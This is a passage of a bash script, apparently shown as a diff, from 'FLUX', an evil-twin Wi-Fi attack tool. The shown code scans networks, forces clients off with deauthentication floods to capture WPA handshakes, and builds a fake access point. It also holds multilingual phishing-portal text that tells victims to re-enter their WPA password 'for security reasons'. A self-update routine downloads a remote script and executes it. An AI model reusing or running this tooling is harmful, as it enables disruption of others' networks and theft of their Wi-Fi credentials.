$flux_output_device - fi - - - - if [ "$WIFI" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device - fi - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" - echo - echo -} - -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " - sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`airmon-ng| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green}MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - deauth - - fi - - capture - for CLIENT in $HOST; do - Client_MAC=`echo ${CLIENT:0:17}` - deauthesp - done - $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - esac - - - deauthMENU - -} - -function deauthMENU { - - Handshake_statuscheck="${grey}No handshake$transparent" - - while true; do - conditional_clear - mostrarheader - - echo "*Capture Handshake* " - echo - echo -e "Status handshake: $Handshake_statuscheck" - echo - echo -e " "$green "1)"$transparent" Yes" - echo -e " "$green "2)"$transparent" Strike again " - echo -e " "$green "3)"$transparent" No (Select another attack)" - echo -e " "$green "4)"$transparent" Select another network" - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n ' #> ' - read yn - - case $yn in - 1 ) checkhandshake;; - 2 ) capture; $DEAUTH & ;; - 3 ) conditional_clear; askclientsel; break;; - 4 ) killall airodump-ng &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; selection; break ;; - 5 ) exitmode; break;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - - done -} - -# Capture all -function capture { - - conditional_clear - if ! ps -A | grep -q airodump-ng; then - - rm -rf $DUMP_PATH/$Host_MAC* - xterm $HOLD -title "Capturing data channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR & - fi -} - -# Check the handshake before continuing -function checkhandshake { - - if [ "$handshakemode" = "normal" ]; then - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - elif [ "$handshakemode" = "hard" ]; then - pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device - - if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then - killall airodump-ng &>$flux_output_device - webinterface - break - else - if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then - Handshake_statuscheck="${yellow}Corrupt$transparent" - else - Handshake_statuscheck="${red}Not_Found$transparent" - fi - fi - - rm $DUMP_PATH/test.cap &>$flux_output_device - fi -} - -############################################# < HANDSHAKE > ############################################ - - - - - - -############################################# < ATAQUE > ############################################ - -# Select web interface that will be used -function webinterface { - - while true; do - conditional_clear - mostrarheader - - infoap - echo - echo "Select Web Interface" - echo - - echo -e "$green ""1)"$transparent" Web Interface" - echo -e "$green ""2)"$transparent" \e[1;31mExit"$transparent"" - - echo - echo -n "#? " - read line - - if [ "$line" = "2" ]; then - exitmode - elif [ "$line" = "1" ]; then - conditional_clear - mostrarheader - - infoap - echo - echo "SELECT LANGUAGE" - echo - - echo -e "$green ""1)"$transparent" English [ENG]" - echo -e "$green ""2)"$transparent" Spanish [ESP]" - echo -e "$green ""3)"$transparent" Italy [IT]" - echo -e "$green ""4)"$transparent" French [FR]" - echo -e "$green ""5)"$transparent" Portuguese [POR]" - echo -e "$green ""6)"$transparent" German [GER]" - echo -e "$green ""7)"$transparent" \e[1;31mBack"$transparent"" - - echo - echo -n "#? " - read fluxass - language=${webinterfaceslenguage[$line]} - - if [ "$fluxass" = "1" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG - DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ENG - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ENG - NEUTRA - break - elif [ "$fluxass" = "2" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP - DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_ESP - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_ESP - NEUTRA - break - elif [ "$fluxass" = "3" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT - 